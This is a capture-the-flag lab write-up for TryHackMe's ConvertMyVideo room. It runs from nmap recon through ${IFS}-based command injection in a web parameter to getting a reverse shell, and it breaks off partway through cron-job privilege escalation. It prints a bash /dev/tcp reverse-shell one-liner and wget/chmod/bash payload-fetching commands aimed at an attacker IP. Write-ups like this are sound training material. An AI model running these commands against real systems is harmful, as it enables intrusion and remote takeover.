TyrHackMe CONVERTMYVIDEO Lab

Link to Lab - https://tryhackme.com/room/convertmyvideo

Lab Overview - My script to convert videos to MP3 is super secure.

A perfect room to understand from basic enumeration to limiting findings abusing a single found web application functionality trying to execute command injection using IFS and getting low privilege shell to further abusing cronjob to becoming a root.

TASK1 : Recon

We will run an Nmap aggressive scan against our target.

nmap -A -sV 10.10.163.162 -v

Here is our Nmap result, where we can find 2 ports (22 and 80) as open to SSH. Since we need credentials, let’s go with port 80.

While opening the URL: http://10.10.163.162 in the browser, we found a webpage where we can convert our videos.

Convert My Video

Let’s give some input and check what it does.

We don’t clearly understand what it’s trying to do and why we are getting such an error.

So our next step will be enumerating further.

TASK2 : Enumerating

For this task, we will capture this request and response in BURP.

So let’s try command injection in the yt_url parameter.

yt_url = ls

As we can see, it uses YouTube-DL software. Let's enumerate this.

youtube-dl is a command-line program to download videos from YouTube and a few other sites. It requires the Python interpreter, version 2.6, 2.7, or 3.2+, and is not platform-specific. It should work on your Unix box, on Windows, or on macOS. It is released to the public domain, which means you can modify it, redistribute it, or use it however you like.

We get a sort of command injection here.

yt_url = ls

At this point, we start struggling with which command to run, as commands with spaces are not allowed.

After a bit of googling, we found something called IFS. It is a special shell variable, it stands for Internal Field Separator.

yt_url=`ls${IFS}-la`

Using this, we are getting a response. At least the command is being executed on the server.

On multiple retries and failures, we found something interesting.

TASK3 : Exploitation

So we search for a one-liner reverse shell in bash.

bash -i >& /dev/tcp/10.11.48.237/9090 0>&1

Now we have to send this to the victim. I am hosting this payload using an HTTP server.

Using wget, we will try to download this payload on the victim machine. Then, we will execute it.

wget${IFS}http://10.11.48.237/rev.sh

We will provide the execution permission to the payload and try to run it.

`chmod${IFS}777${IFS}rev.sh`

Let's start a listener on port 9090 as per our reverse shell payload and run this.

`bash${IFS}rev.sh`

BOOM!!!!!!!!!!! We got our low-level shell.

TASK4 : Privilege Escalation

Let's check the crontabs for any scheduled tasks executed by the root user.

Crontab -l

cat /etc/crontab

ps aux

Check the running process, as in the above approach we haven’t found anything juicy.

We found a cronjob being executed as a root user.

We can automate this process using linpeas.sh or linenum.sh which will highlight such interesting cronjobs in red.

We found a very interesting tool, pspy, to look into the Linux process.

pspy is a command-line tool designed to snoop on processes without needing root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute. Great for enumeration of Linux systems in CTFs.

Also great to demonstrate to your colleagues why passing secrets as arguments on the command line is a bad idea.

The tool gathers the info from procfs scans. I notify watchers placed on selected parts of the file system trigger these scans to catch short-lived processes.

We have downloaded this tool on the attacker machine and will send it to the victim the way we shared rev.sh